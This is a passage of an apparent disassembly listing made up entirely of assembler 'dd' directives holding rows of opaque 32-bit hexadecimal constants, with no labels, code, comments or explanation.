		dd 450AF19Fh, 827FF5Ch,	0BB1712F4h, 156BACD0h, 9201370h
		dd 3B2A08D0h, 0A103CE24h, 0DA07C440h, 744D4A9Fh, 0B44F3D80h
		dd 5944F7EBh, 0F8115B6Eh, 0A24EC4AFh, 0A6F1560Bh, 0B422DC24h
		dd 9A07C0BDh, 0C33272Bh, 40139FF0h, 8BA0E883h, 0EA2F0F4Ah
		dd 4EB1316Ch, 6AEB8392h, 7C51DDC6h, 0F72197E2h,	8B7711B2h
		dd 0C20DFEC1h, 0C2D409F8h, 0F5A7708Ch, 2C45B0C5h, 4050D9Dh
		dd 0EC04AB68h, 61D0C15Ah, 0FE2A3FE7h, 0FE2C1145h, 5590F482h
		dd 0FD686118h, 3331394Bh, 31972B1Bh, 94D4FB0Dh,	3EED1BC1h
		dd 7F2C7A0h, 14FC3293h
		dd 580CD259h, 2C62B8FCh, 6E47568Bh, 5CDE67FEh, 6310E958h
		dd 5FF5D394h, 9FA3DFBh,	0AB4257D6h, 2DBD284Dh, 0CC0094F2h
		dd 407A8950h, 38B205h, 44350CFBh, 31BDED68h, 0C537DE9Fh
		dd 0AA44EE1Ah, 0A1575905h, 5D41E445h, 0C0060227h, 0EA719485h
		dd 0F9E2B503h, 5DCE8440h, 0DA89091Fh, 7EA1E906h, 68C20ADBh
		dd 0C0BB5286h, 3EEB755Dh, 57B400BDh, 100ABFh, 0F7815C5Ah
		dd 1744024Ah, 0D54AE3B0h, 0A86F31FBh, 5AB269D8h, 14486DBDh
		dd 9580FD2Ah, 0F2ABBB57h, 261076B9h, 9EC4CCCCh,	11C67B01h
		dd 8E1CE958h, 4E278124h, 0EE523535h, 522006E1h,	0BA4E3CD3h
		dd 417EE14Ah, 0CB611D53h, 0F1D4AEDCh, 61C081Ah,	9E25F17h
		dd 6C152D65h, 5550550Bh, 0DCB70998h, 0CBFE4043h, 0EBF4DBF6h
		dd 2FD8E9FBh, 0BEC9DCB3h, 15F3E21h, 4CE488F1h, 88592786h
		dd 60C138E2h, 8243DE17h, 424F6D4h, 2D9C5715h, 179176FDh
		dd 0F9F83559h, 16FB1874h, 83A58A7Bh, 44DBD200h,	0C7BD721Fh
		dd 0B81306FEh, 20A0F4E9h, 0E8835924h, 69B3D12Dh, 0C876830h
		dd 65B1D597h, 0C9946A68h, 2C54F798h, 40A218E9h,	0A1B6FDEEh
		dd 0CF5A567Bh, 94BAF8C5h, 0B6FBEC39h, 2CD3587Ah, 61D77C27h
		dd 0A512C47h, 0F0248DE9h, 5E6D2D68h, 5B27B646h,	0B017D343h
		dd 1F089753h, 93403F5Dh, 5F0C1510h, 0D19340F3h,	5017AABh
		dd 0C11662A8h, 0D621A8EFh, 308CBE19h, 0F11B046Bh, 0E8891EDAh
		dd 81A7301Eh, 0E43F5F30h, 770BC6D1h, 781AB61Eh,	355A0996h
		dd 0C0753154h, 948F9BAh, 0F3017FBCh, 9D4496F7h,	0FC824B1Ah
		dd 59CC01AEh, 7D14920h,	7E69920Dh, 0A860A266h, 0DDD9F749h
		dd 64002F14h, 269DC5BAh, 0FA291325h, 3AAE8D5Fh,	636574C0h
		dd 3D350030h, 0E92EF80Bh, 5C9FF906h, 2A51512Dh,	6C4121C0h
		dd 68500439h, 0C2B431A3h, 17763D13h, 75539309h,	0F4576411h
		dd 0AFB2F284h, 0C27C329Dh, 60F6573Ah, 263DC108h, 54AE00DCh
		dd 0CE013F92h, 0C1CCB2B5h, 97E0D1Ah, 90DC5D36h,	0FD2B6879h
		dd 138284D0h, 73D9FB17h, 7B9F7BF4h, 0A0BDB80Ch,	7505268h
		dd 0F029E7E1h, 0C1D8A55Eh, 23461CB5h, 0EB5CCFECh, 1709F0B8h
		dd 0C0D05AB2h, 0D188F390h, 0F0C9D8F1h, 3C72E9F2h, 0DB9FF92Ah
		dd 0A73B270Eh, 2691A363h, 905C828h, 77C93A71h, 3DA479AEh
		dd 8648E993h, 819D8C11h, 4C3F3C49h, 2C34B02Ah, 146539Dh
		dd 46211BBDh, 0B3F9888Bh, 4EFB2056h, 0D61FAAEDh, 0FD621D0Bh
		dd 1CDDEB64h, 0C860D90Fh, 4765ADBAh, 10685701h,	5FCDD047h
		dd 0C781DFD2h, 70992E1Bh, 0E39DFD24h, 0D80F41Ch, 497DD4AFh
		dd 9879B488h, 1A4B201Dh, 0DF895916h, 0E1995104h, 1518310Bh
		dd 2829477h, 0F1036BDh,	2736FBEh, 25501408h, 47452FDFh
		dd 5F091E94h, 0B81C267Bh, 0D5D2F0C4h, 556182EBh, 3613B68h
		dd 0A63C942Ch, 5D2F07A0h, 86A5F721h, 5E40EC47h,	3C55C09Eh
		dd 16CB8F7Eh, 0B3E94F42h, 6067AFD6h, 848CF6C9h,	0EFD567E9h
		dd 522773A2h, 2F20ED5Fh, 0B7ECA7D4h, 0FE6049B2h, 2880703Dh
		dd 0CA814A22h, 793B6AD1h, 35F20229h, 5870CB76h,	2C12C0F1h
		dd 0E96EC823h, 404CBC32h, 8BF840ADh, 5DF10041h,	8D4B2E2Dh
		dd 0D0482922h, 7B4F1EE6h, 0C9816A80h, 0B07437EBh, 0DAE901BAh
		dd 0C10D4841h, 0D03021E1h, 293F69DEh, 0C878380Fh, 36C5804Ah
		dd 0F8DD742Dh, 56B54F76h, 0DDC6AB99h, 20C30F0Ch, 0FB320DE5h
		dd 4B932441h, 7970543Ah, 0F5401DFAh, 46CB8136h,	2B513B24h
		dd 14E684B4h, 0EF2FD53Ah, 2118710Bh, 123C1A8Ah,	0A14BFD59h
		dd 0A3347BDAh, 6BA4EEF0h, 16FF0E38h, 42C70063h,	54741230h
		dd 5A77311Ch, 0C2DFE92Fh, 5CEDD5ACh, 728C3C26h,	0EF3F111h
		dd 18D03EA2h, 6C69EBC0h, 0E915192Ch, 3B959816h,	1B90985Dh
		dd 5FCBE40h, 31667156h,	41DCC5F7h, 8F697B67h, 0E4102F3Bh
		dd 6DF94F07h, 362CEF80h, 0CC16E32h, 7870AA5h, 8F6502Ah
		dd 15140C68h, 0BB94955Ah, 71494B2Dh, 0CE5FCAC6h, 0C6049F93h
		dd 682FCCACh, 763DCA2Dh, 875E5497h, 358425ADh, 0B3E3AFD6h
		dd 2111028Dh, 0F0F52E5Dh, 0C8FE2745h, 834EF8FBh, 0C9DEB5ADh
		dd 0DF996A3h, 0D8BE5BE4h, 47417564h, 7B5B017Eh,	860A457Ah
		dd 0C4F6BA24h, 8BF1316Ch, 7C4CFBAFh, 6BBF849Bh,	886F16EEh
		dd 5FB05ECCh, 4C4AF127h, 0F34EB77h, 1339B009h, 0C52E0D1h
		dd 0F6FFBA03h, 6AEC3C5Fh, 0E22BB741h, 3D9C7ACh,	0E3BB5935h
		dd 62023A43h, 61D0F742h, 0D93B53B4h, 0BA9D2F16h, 0CC1A18CEh
		dd 0E1A97F95h, 14360E00h, 1FBB5A35h, 7148927h, 0C7F2D104h
		dd 3F5FF008h, 2F751FF9h, 64D449F6h, 0E0DECB6Fh,	728850FCh
		dd 36E25CECh, 9DB87D27h, 60E1262Ch, 3801B7BEh, 0E925B050h
		dd 0C62654D5h, 0D42CBE92h, 41151FB7h, 0C3F58349h, 0E9B19D7Bh
		dd 251F7A01h, 0FE0051DCh, 0F6805B66h, 0C07CFC47h, 41E58163h
		dd 1E4B965Fh, 6D031AA9h, 55BD10D1h, 0E37D398Fh,	60C02F0h
		dd 12C5F69h, 75C92B77h,	11838BCCh, 0EC7A81EDh, 68350766h
		dd 0CE22C85h, 30276312h, 52C1FE9Dh, 285CB279h, 958A5026h
		dd 5801B080h, 0E77D6680h, 77D6EDD5h, 0A054B7DEh, 0C2481038h
		dd 5BF88844h, 0C2F2536Ch, 40535827h, 25E9FDF4h,	54AABACBh
		dd 768843Dh, 0ACFE1F0Ah, 5821340h, 0C12E228Eh, 3C2430C2h
		dd 2B500F68h, 0B0720F19h, 4BF472EFh, 3DB85700h,	3179C35Fh
		dd 6EE925E8h, 0B8F7678Bh, 97623F6Eh, 0B109F2C7h, 5A6B5649h
		dd 0C9B6F95Dh, 7AA0B78Eh, 310539FAh, 0EEB0C11Fh, 0B6A95DADh
		dd 89808F7Fh, 96272F9h,	618B38A0h, 8A0B05Eh, 0AB68D696h
		dd 201EFD2Fh, 6AD21440h, 0B8C5DF0Ch, 2DC4A12Fh,	0B07D66AAh
		dd 973887A5h, 840FD1Ah,	0C5B7110Fh, 533F011Dh, 0C0B45051h
		dd 4EA4E588h, 0A7C276B5h, 0C94E1F40h, 0D6784881h, 2ED62F79h
		dd 44F895Eh, 14B82728h,	5204D192h, 0E90B8954h, 31A0A259h
		dd 2CFCFBDAh, 6A746023h, 0E92FD1FDh, 0DF5C6284h, 8C88C54Dh
		dd 0CEB504C0h, 0AC078128h, 0EA81013Ch, 2C20A56Eh, 69E9A026h
		dd 0E3ECBF03h, 60BF8195h, 0E9C84D55h, 475E417Fh, 82B4726Ah
		dd 6F5E717Dh, 1C7327C6h, 59C82113h, 9E5BD7F6h, 19E9096Ch
		dd 35F15F0Ah, 0AA855549h, 0BB07D2C7h, 0BD184E75h, 44BD7AF2h
		dd 8B752022h, 0C34A6D90h, 2A7CE6EDh, 77BBB12Eh,	3AB92FF3h
		dd 0D80BC67Ah, 0F2A2A59Ah, 0B53820D8h, 18ED2D4Bh, 56830975h
		dd 66602FB1h, 4D05D2BBh, 29E93EE4h, 8F50E749h, 11B4D27Dh
		dd 3F2B41A9h, 0DD0279C5h, 40BB272Ch, 8341F223h,	17071C3Ch
		dd 24EE22AAh, 0A199AB05h, 5C8DE5CDh, 3B2488DEh,	1FF6AF1h
		dd 0C9F7815Fh, 8C0E0533h, 1C2E1F0Ch, 24B5BE9h, 0C9FE5AB9h
		dd 87A4F871h, 10E7FD14h, 5E04EBB6h, 0BC0AE268h,	72DFC1C0h
		dd 0B7387960h, 0B693B87Bh, 586C0817h, 2076BA00h, 5C312F4Eh
		dd 1C22AFEAh, 5297C1B0h, 1DB180DFh, 14C382Bh, 8116C3A6h
		dd 3BE4BF57h, 0D83892F4h, 5E8B8FB0h, 5C29AA0Ch,	0A04AF82Eh
		dd 3412E8C1h, 0C205C831h, 1DD0AA96h, 0DFDAF72Dh, 0BCC224ABh
		dd 0FDC0A08Fh, 98E98F02h, 355A4660h, 481270D8h,	47208618h
		dd 7D2C5B16h, 0AB2DF3BCh, 0EA4F5CD1h, 0D40CF177h, 1EB96E63h
		dd 2D1F6808h, 0C59D51F8h, 7253FF9h, 8543675Dh, 0D8277B68h
		dd 0D198ACDh, 0D0665803h, 0D80EAA54h, 680D185Fh, 5B1D1CCAh
		dd 0ACDDA511h, 4E6C9A0Dh, 40C4445h, 6041F5C3h, 21F92BAh
		dd 684926D4h, 0A5AD5B7Eh
		dd 81A534DFh, 0F7DCE7E3h, 0EF81251Ch, 0EAE928A1h, 5FC2A37h
		dd 0CBBE558Eh, 339ABEDFh, 0E4703DDh, 0BB4C0240h, 62536373h
		dd 0C0B242DDh, 27A1F7CFh, 19833B88h, 0DFA8D325h, 9159E90Ah
		dd 29AE5EF4h, 93F67F7Eh, 0B6E76813h, 6C151776h,	71BE4E01h
		dd 0E683EC02h, 0D01349C6h, 4073A9DDh, 46975A08h, 0B4575028h
		dd 585D7FA0h, 4420D531h, 74B9AF83h, 2128356Dh, 61B86E77h
		dd 6246012Fh, 903EE912h, 0EE959CFEh, 942D7B90h,	0C9C47973h
		dd 1608FA5Dh, 0A9C032E9h, 0CB04925Fh, 7CB44B92h, 1A87AC3h
		dd 38AEB8D2h, 2E017FF2h, 0C55B07F9h, 9A0A9C1Fh,	923F9E41h
		dd 8AE06ACCh, 55485748h, 50A005CDh, 1FA833A9h, 5ADC0978h
		dd 2076414Dh, 5AF4FA9Eh, 4A5EC5C1h, 87BF5680h, 0F765367Dh
		dd 312D748h, 5CF16151h,	4307909h, 4D351CCAh, 81C68562h
		dd 0F01B23C6h, 5F12E1E9h, 50BB0237h, 4A7D08F1h,	59DFC014h
		dd 6802DA2Dh, 0D829518Eh, 0E9078105h, 11258CA6h, 41D4EF60h
		dd 52D12F10h, 5E3111F1h, 213A02D9h, 4D1414Dh, 2FFBE680h
		dd 187658EEh, 611D5C05h, 22AC016Eh, 6E41F4F5h, 95EF6417h
		dd 54942C7Bh, 6B8E5966h, 0E544285Fh, 0FE5F5742h, 0EC509548h
		dd 0BC7F5F1Fh, 0E556C996h, 0DED8C24Bh, 5180F553h, 0DF34C0B9h
		dd 4D5906Bh, 66734EA0h,	494B8009h, 0A2675BE9h, 2A17C237h
		dd 0A8012D32h, 581A08FFh, 5C6ADF1Eh, 0AC7D048Bh, 5AE9C868h
		dd 0F0291E83h, 6D29A770h, 33A1D55Eh, 3DEE2F20h,	0D14B283Eh
		dd 0D01FF6A0h, 0F8ED7FB3h, 861B4277h, 4D6C150h,	1433C8E8h
		dd 0E9FA8017h, 19952B08h, 0F47FDE4Ah, 949D1412h, 7DDBB5AAh
		dd 3F17C50Eh, 0B20C5698h, 3593255Eh, 1130A979h,	97BE3CE9h
		dd 7C9D68EEh, 0D6757279h, 0DB3E676Fh, 5362D1D6h, 80DEEE54h
		dd 7B210D98h, 4FEE907Ah, 6A21AA66h, 0A82E8C1Bh,	0A34B9E0Eh
		dd 70BED763h, 0D4F3E92Dh, 3FD8A89h, 0E5839C5Eh,	84C645D5h
		dd 0FE1679E9h, 0B3543572h, 5771F41Ch, 0E3C94468h, 805F25AFh
		dd 640B811h, 2D6802ACh,	2E21DABFh, 0BB04E1h, 0BF59692Ch
		dd 2BC88531h, 83BDC300h, 9732EE63h, 488D2860h, 8E693A96h
		dd 32B1D253h, 8191F122h, 0ADD34413h, 1D771048h,	0A505BE5Fh
		dd 31EE105Ch, 337F5793h, 6AF878FFh, 969FC07Ah, 5A61209Fh
		dd 59EB2800h, 0FE71B652h, 4A06FAC6h, 6D0C90A1h,	8279D5Eh
		dd 81C85447h, 0F9CAADE1h, 60EE2121h, 0E9244235h, 59AF10D7h
		dd 80E9C1B8h, 0F2081F0h, 7E1868C8h, 0A9EEB459h,	0CD8600EEh
		dd 1244B634h, 0A3C5685Ah, 2D90611Eh, 64C2D05Ch,	6C3602B2h
		dd 0C1E91E6Fh, 0FD916A57h, 524FBBD2h, 48EB3D89h, 0E103B0AEh
		dd 12193EFBh, 34C80C06h, 97C203Fh, 26ED602Ch, 83EFC284h
		dd 0A8D9F796h, 3CAE2BBFh, 241B16Ah, 534F464h, 876814ACh
		dd 37B44567h, 241000E6h, 0D071A1Fh, 0E17EB601h,	5178E960h
		dd 0AE04AC00h, 0BA401DB8h, 95F4BFB9h, 18132910h, 7D7C29C5h
		dd 9E9B0013h, 75E9C121h, 0F227C05Fh, 347E033Bh,	6BBF83A3h
		dd 6C689E20h, 6625D329h, 0F9A0755Dh, 8619738Ch,	2CE9893Eh
		dd 0BA838453h, 0D26CAA1Ah, 68F0A1A7h, 0DE4D73BDh, 543BF48Bh
		dd 560D07DEh, 25313469h, 0C11FD130h, 0D56F500Dh, 5940004h
		dd 0EF774B0Dh, 68082110h, 0B024140Ch, 0FED32020h, 319A2F05h
		dd 3602CDD9h, 5F8F8301h, 25A04805h, 0F1A3A8B4h,	9220478Fh
		dd 0B62EFFAEh, 0EBD54087h, 45AD3200h, 3637710Dh, 0C2E91056h
		dd 0D7892549h, 0C4B7B916h, 0B2B5EE8h, 245D5D9Dh, 0F2957C5Bh
		dd 0CABE2253h, 1E711666h, 76FA0061h, 2B81BE04h,	5902497Eh
		dd 0DB8FFC55h, 0CCAEDD4Ah, 14160C5h, 379E4888h,	154560Bh
		dd 76656864h, 37CF7868h, 826B4925h, 0A49B2A78h,	522825C7h
		dd 355C0915h, 53EB99DFh, 79CB690h, 34CAB050h, 0C2E346EFh
		dd 35480214h, 89AE561h,	3A4AD877h, 642E1B4Ah, 7EF1490h
		dd 5B2CF48h, 54BF8FFh, 0BD1CB32Dh, 6204AF5Ch, 0F7CD45ECh
		dd 53350A7Bh, 0CBA696h,	1D6A73F8h, 38FCF129h, 9AFF549h
		dd 82CF09CDh, 0DF9B1AC0h, 189DDB2h, 5EA639DCh, 23351A18h
		dd 135E3D21h, 0ACCEE23Fh, 3B2C43Eh, 0AC5C65FEh,	72D7DBEh
		dd 5BB1A436h, 288541C8h, 583E23Bh, 0F13170E9h, 0D9A0047Bh
		dd 823C1F7Eh, 0ADC24BD3h, 85714089h, 2373BFF2h,	17085CC9h
		dd 0AE98AF45h, 80CD09FEh, 8E5F3AEDh, 4D8646Ah, 684981BBh
		dd 500A6843h, 63D322FCh, 780AE003h, 90C9B07Ah, 2F2C3D53h
		dd 0A9C54292h, 616D9F2Eh, 0F4F02D83h, 299490B0h, 2D132A9Ah
		dd 952FF74h, 2FD9F5F0h,	22395C59h, 0B446EA16h, 52780A39h
		dd 49D97F4Ch, 0F65E25FBh, 0E257256Ah, 0E9B91869h, 0F4C05EC5h
		dd 3B5A3AADh, 0E90C1BDAh, 532CE43Fh, 2BC4680Bh,	0F6D20E16h
		dd 41F16C53h, 0CBBCAC3Ah, 0B50E72BFh, 923F8959h, 4B53E8DCh
		dd 622DAA83h, 4E93842Fh, 0E055D99Ah, 0B654520h,	0C3E946F3h
		dd 0DF9702F8h, 689AC031h, 74194C69h, 59CFE76h, 30FD6860h
		dd 582E004Fh, 0B6F6252Dh, 362DE90Eh, 611D3273h,	3C7B12D6h
		dd 4E171FDh, 0AC7EE0B1h, 60492DC9h, 39C7801Dh, 6681FE14h
		dd 30EEB450h, 0E22FDBE7h, 0BF09007Ch, 7A692ABCh, 0F7EC6040h
		dd 0C828AA04h, 0ACF62C74h, 6D27564Ah, 0BCE2E235h, 0B6774CC7h
		dd 23FEA015h, 5266E500h, 0DA1383BAh, 920F95Ch, 0E0CD0BE6h
		dd 1882D509h, 0F8742140h, 0F92E8560h, 48E9171Dh, 0DA85D0DBh
		dd 63765653h, 0B52DEE01h, 0CEE961BBh, 581C577Ch, 0BE658725h
		dd 2F03502Bh, 0F72C29FBh, 620554D0h, 0E9AC3B1Ch, 0E170CD3Fh
		dd 6B069D3Eh, 12490404h, 0EB8043D1h, 4EBD5530h,	82E5340Dh
		dd 0C31B63FAh, 0C4448D7Dh, 0C21236B6h, 5E555B96h, 0FE74506Dh
		dd 8CCF0490h, 0B48E0607h, 94F99F34h, 80E82F3Eh,	5DA7B896h
		dd 89705CEDh, 0BA0C8D20h, 0FE25158Eh, 7A4163F3h, 0B653568h
		dd 8DFFEA14h, 0B2CD0476h, 284A13EDh, 7A35A1D0h,	4D657BDBh
		dd 0BD03083Dh, 173A475Bh, 3E5540D1h, 66073BA7h,	4B1AD8BDh
		dd 3FF33F82h, 7183CD6h,	98E8C512h, 0E955095Eh, 6CDDCA95h
		dd 55EDF67Ah, 2268D798h, 17E30D50h, 3785F2Eh, 541B6002h
		dd 0D2F74AB0h, 0B054258h, 2F8476Fh, 5F618549h, 0CE4AE7Eh
		dd 4AE94DC8h, 0C1288476h, 0D084F1B8h, 0B5A17EE6h, 2C3AFD02h
		dd 0EE800B14h, 0E8FCE81Eh, 82D582A4h, 4E34CDh, 8F2DBCB9h
		dd 43BD2101h, 31DE70D2h, 21262D3Bh, 70FC6F04h, 77D3905Eh
		dd 285B2539h, 14D81FAAh, 0E9850C6Ch, 681CD04Eh,	279137B3h
		dd 5E1285A6h, 0CBABF556h, 22085A87h, 0BE501218h, 0AA69B568h
		dd 5840F5C0h, 5520672Ah, 0B2581D68h, 1C98E212h,	6A3A8D0Dh
		dd 0C1E16806h, 41E0846h, 5550FCC3h, 0A050BF78h,	0F6E90908h
		dd 4DFB57C0h, 0D759CD8Bh, 81A87EC7h, 4FA9F449h,	68D336B1h
		dd 0FDC1384h, 0ECD2DFDEh, 313E7E23h, 0C8FB4EFAh, 222DE96Ah
		dd 0A8AE6C4Bh, 0B77842AEh, 0DB963354h, 463509E1h, 8B28F67Eh
		dd 17E7F55Ah, 0CC40B027h, 0F0B880A1h, 15126116h, 0F417141Fh
		dd 7FBF2D82h, 2AB3BFA9h, 0FE579DA2h, 840F6100h,	0AA8D6h
		dd 18097C25h, 0E1F2D91h, 0E9504D3Ah, 536AC34Bh,	12539F0h
		dd 80491205h, 0D5594790h, 1B559762h, 0A63E1348h, 0E0BE8987h
		dd 3CD21C15h, 3FE2E1FAh, 5D627438h, 59304D6h, 0FE1BBB25h
		dd 0A37E486Dh, 0B66817D7h, 0C0A034BAh, 0D16C26FDh, 20944776h
		dd 0B24ECD02h, 97BC217h
		dd 0DE8FC006h, 0B82E2A93h, 0F9895FCCh, 0D5AE93A0h, 0E87685D7h
		dd 0E2280E6Ch, 0D0133C58h, 901860F2h, 7B06D10Bh, 8194AFBCh
		dd 0C0F80DD1h, 0C04263F0h, 4945DF48h, 9A945D25h, 68051499h
		dd 1EF823E4h, 98DF67DFh, 0C418F723h, 8F311B7Fh,	812C7E34h
		dd 0B4917DEh, 24AE1D91h, 273D105Ah, 0DCCCA357h,	0BF13018Dh
		dd 69BA16A6h, 97A4FD81h, 0EF99890Dh, 0B92CBE3Bh, 0C0B2CE9h
		dd 1BC78205h, 3772301Ch, 642E45E6h, 7C0BE061h, 50034842h
		dd 0B1BC5AB8h, 73042A4Bh, 8809D1A9h, 5DA842F5h,	0E961BE65h
		dd 202B3E8Bh, 3DB2528Fh, 0D18807C5h, 0BCC5382h,	188755Ch
		dd 0F35E144Fh, 4077EF26h, 3331FDF1h, 0E8897E27h, 3F38DEBAh
		dd 0E6820FCBh, 486A3EDFh, 2E1925E0h, 997DB0Ch, 2DD048F7h
		dd 0ACEAFEFCh, 51519841h, 28AFB8Dh, 92B4FE5Ch, 5EBD829Eh
		dd 9B582C56h, 8F7B957Ah, 0B6AEDB13h, 0C656362Ch, 68089659h
		dd 4D623D32h, 900162Ah,	4F850FDBh, 6884C05Dh, 18971CE5h
		dd 80DC2939h, 0C81ED505h, 4F89EF9Fh, 2E5AABh, 0EADE7DF6h
		dd 86685183h, 0CD1F0B55h, 20D1D5F2h, 0E977CABCh, 0FA97A79Ah
		dd 0DDF648A1h, 8923081Fh, 0E0640D63h, 2C6EB43Dh, 74A79E28h
		dd 31358B02h, 0EA01F720h, 0F4BB5E68h, 9E06DE83h, 0F7FAFA7Ch
		dd 952CBC52h, 0D80C175h, 417A0903h, 1C12C83h, 0F7518417h
		dd 40C4E614h, 0F304C7FAh, 0CE0117DBh, 0E50D5E3h, 0EBB4806Eh
		dd 0A2C53BE1h, 0A8C9C8AEh, 0CB2AF99Fh, 1B027C0Bh, 0D0A04971h
		dd 98568C3h, 8D6282B4h,	0F71840F9h, 0FB4B0DBh, 356C2397h
		dd 0CD2CFDA7h, 0E1AA311Ah, 32FA60B5h, 0C14A9090h, 0D52F1CDDh
		dd 1002AC9Ah, 2D036277h, 410B361Ah, 7DCE68D8h, 3839C889h
		dd 0E4700D76h, 1428777h, 2823279h, 27FB6153h, 4CD2F72Eh
		dd 0F2BE929Ch, 0CB283449h, 0A30DFCEEh, 8B1C4E1Ah, 3CB31CC8h
		dd 3FB0D812h, 0CDB959E9h, 0F1ED8009h, 0E62EF6D2h, 28599D58h
		dd 3BA3B87Bh, 0E9D80A1Ch, 0AD8BD591h, 50E0F72Dh, 0D62EF68h
		dd 7EA85F9h, 0F447A1BAh, 4DE93057h, 43FD0E8h, 124AB0D1h
		dd 7F3542E4h, 0A1CA062Bh, 186A1C3Eh, 0D81AD709h, 3AF7D80Dh
		dd 0AECAC35Fh, 5E9A2B80h, 0B1C4CF5h, 0F5F89628h, 652E0C82h
		dd 0A8DD6AA8h, 87090862h, 0B27204F2h, 56575B00h, 1413D668h
		dd 31D14205h, 0C26627DDh, 2946A44Bh, 2A4EF0C9h,	2D3849C0h
		dd 7819D6F1h, 784833E9h, 0CCEF92F9h, 215E9F81h,	44DCCBA5h
		dd 0FFBB7EFh, 1A266886h, 2F032F49h, 9C631D5Ch, 25C17E9Bh
		dd 457F7C7Fh, 0BD2E8BCBh, 0C9254A79h, 4630C095h, 0D6F2BFDAh
		dd 985B6A25h, 1270048Ch, 855E3B17h, 382CEEF7h, 0AD008A01h
		dd 2BA54067h, 0BD82DFB8h, 37E90801h, 0A2487F38h, 8A90A3ABh
		dd 0BC519137h, 1089F92Dh, 0E48C9765h, 0B0478505h, 0EC315FF2h
		dd 6AF11248h, 3F868ABAh, 8C2B2C52h, 0D2C28081h,	0EAD5CA28h
		dd 128259D5h, 5AF8E99Dh, 0B36CD1A5h, 0E5257D7Ah, 0E16DF7D9h
		dd 2D8EA588h, 638166DEh, 5F544109h, 701AF61h, 2970C731h
		dd 0A3D19551h, 0D030DFE9h, 0C502EF81h, 1536027h, 9BAC2F7h
		dd 4768508h, 0B2FE40BEh, 89303E12h, 4FD4789Fh, 3FBA0DDh
		dd 21258C1Ah, 0F0A20016h, 5A75F302h, 0FD930909h, 0DC576342h
		dd 6E58D9CCh, 0A7FAF685h, 2C57305Fh, 4FF269C9h,	333FC65h
		dd 1BF3BD55h, 0EF31893Ch, 5034282Eh, 6D386C98h,	69EA4B40h
		dd 9FC3A07h, 0CEC944A4h, 84871FFCh, 1F92C328h, 42A0DEB4h
		dd 76091D8Eh, 0E79D3940h, 84F78C6Ah, 30068D12h,	0E1205BFCh
		dd 21E913F9h, 8C978DECh, 57256369h, 0E15D60E8h,	422BF068h
		dd 0BC596E30h, 1EA07969h, 14F92975h, 994B08C1h,	8C4DD1C6h
		dd 0B5E0EB93h, 5DC2BFBAh, 0CE533D5Eh, 400E900Ch, 445A6859h
		dd 0CB93A11Eh, 0A368255Fh, 1205615Ah, 0FA01E8D1h, 1F5A7046h
		dd 914454F4h, 7E933B87h, 0CCCAE86Bh, 98316D63h,	986825DBh
		dd 26C2FD7Eh, 0E9540061h, 1EAAF9BCh, 720BB55Ch,	767DFA7h
		dd 0A0E1F309h, 2F7CB4F3h, 80A09C4Bh, 4FC1594Eh,	51BD5429h
		dd 7D0CA0F4h, 0C173B55Ah, 4BBE2121h, 8676A8B5h,	5142045Bh
		dd 2482EC56h, 0F84EF6D0h, 0ED283D06h, 41D6F921h, 88F0B33Fh
		dd 6F5B54DCh, 0ABD14C21h, 75A9058Bh, 0AD2415DFh, 412DB24Ch
		dd 541C971h, 24A6B27Bh,	5895D698h, 835EC596h, 158DA7BBh
		dd 780BB8BAh, 20DFD82Fh, 98024850h, 108CC164h, 3B11EDBFh
		dd 1EED56BBh, 532D03Fh,	57596852h, 0EA5AF30Ch, 0DAF1B7A1h
		dd 0B702F5C9h, 3BAB2876h, 29045902h, 4ED26E5Fh,	0BF3000F5h
		dd 0D053364h, 5B9484B5h, 2E5CCFBBh, 0D6424408h,	1C322F4h
		dd 0FC9652Fh, 0B0BA97D5h, 0F03E29C4h, 302F9B51h, 2A95B1CBh
		dd 0ADBBA154h, 0DEBA9605h, 0F6B8013Ch, 481A6649h, 0CB487DC6h
		dd 1808430Eh, 3FC2013Eh, 3E59E327h, 0B037F242h,	9E1E26C5h
		dd 7BC78242h, 2FC108AFh, 56F602CFh, 0EB619A50h,	74A5A45Ch
		dd 20DDD27Bh, 0D74E52EDh, 45D7B03Fh, 51349391h,	0B7CA6CAFh
		dd 0BA01BA96h, 2B73301Ah, 0ED108560h, 4B23EA64h, 0F5303763h
		dd 9A62F201h, 0E0F9F754h, 5CDFE942h, 88133F76h,	0A216BE0Ch
		dd 7D279ABAh, 77C38BB5h, 41890AE7h, 0C1B59BDFh,	35353C12h
		dd 1E25241h, 89D13707h,	0F51CABD5h, 7140AB42h, 0F7396857h
		dd 0B8D63E2Fh, 0A798DC8Dh, 0AFA60B3h, 5EFC116h,	0A90D2CC7h
		dd 0AEE9E21Ah, 5C0418CBh, 90780227h, 60F931DCh,	23117E5Fh
		dd 0E913634Ch, 0A9E9D6AAh, 92244DCBh, 3338058h,	651D162Dh
		dd 5240027Eh, 570AA1EBh, 1F9913BFh, 0E7800044h,	4AE079E1h
		dd 5EF0A7A0h, 0E907CB0Bh, 0EDF46827h, 2371648h,	1C69FF1Bh
		dd 4ED3F67Ah, 66C4F2F2h, 13C388D3h, 0F2DF340h, 37DA7EFDh
		dd 0B2509E44h, 2C277833h, 4C4F51B4h, 5D810CF6h,	0B8135632h
		dd 0C4D3E864h, 30FB2C70h, 728CF626h, 18E2984Ch,	0E903FFEEh
		dd 260696ABh, 29104E28h, 9388CB2Dh, 68510084h, 70661CDEh
		dd 260240B5h, 8F991BE3h, 2E349EE9h, 0E4BA4441h,	331ECE30h
		dd 31CD0195h, 0B1002215h, 3B6A06E2h, 0E4DA6604h, 40906FDAh
		dd 4CB0994Eh, 899FA558h, 9B2038E9h, 39E6850h, 40776425h
		dd 4A24E17Bh, 87E1B0EAh, 0BB77539h, 0F7F8D5E9h,	0CFA0DC1Ch
		dd 0D1B4E84Dh, 0B4087C6Ah, 7168043Eh, 0C98EAE2Fh, 55257358h
		dd 1C3DEEF5h, 2D6AFB68h, 9E371457h, 76DCA7B8h, 834DD7Ah
		dd 3BFCDD20h, 0CF92C688h, 0A6E19150h, 0C8BB00BAh, 38873D7Bh
		dd 518A0825h, 0B3556215h, 72A45605h, 0C9ED5F1Bh, 7F0AE0C5h
		dd 7249D6B5h, 35F187C0h, 5820452Fh, 8E6097E3h, 5A02E77Dh
		dd 0E9F301A2h, 933A76E3h, 182FBFE5h, 0BE18D44Dh, 0F8F37D93h
		dd 6F0D011Eh, 1F818AD6h, 71DC55ACh, 0F8AF971Dh,	0B8E317CCh
		dd 0AD3E543Ch, 370A8AB5h, 9992BD03h, 0DAF8CAD2h, 0D45624F5h
		dd 466F8269h, 0D2E3480Ch, 3645FEE1h, 0C2942780h, 0B7D0DFDBh
		dd 25707F7Ah, 91638796h, 0BAF7E27h, 0A8EAF090h,	2302D4C2h
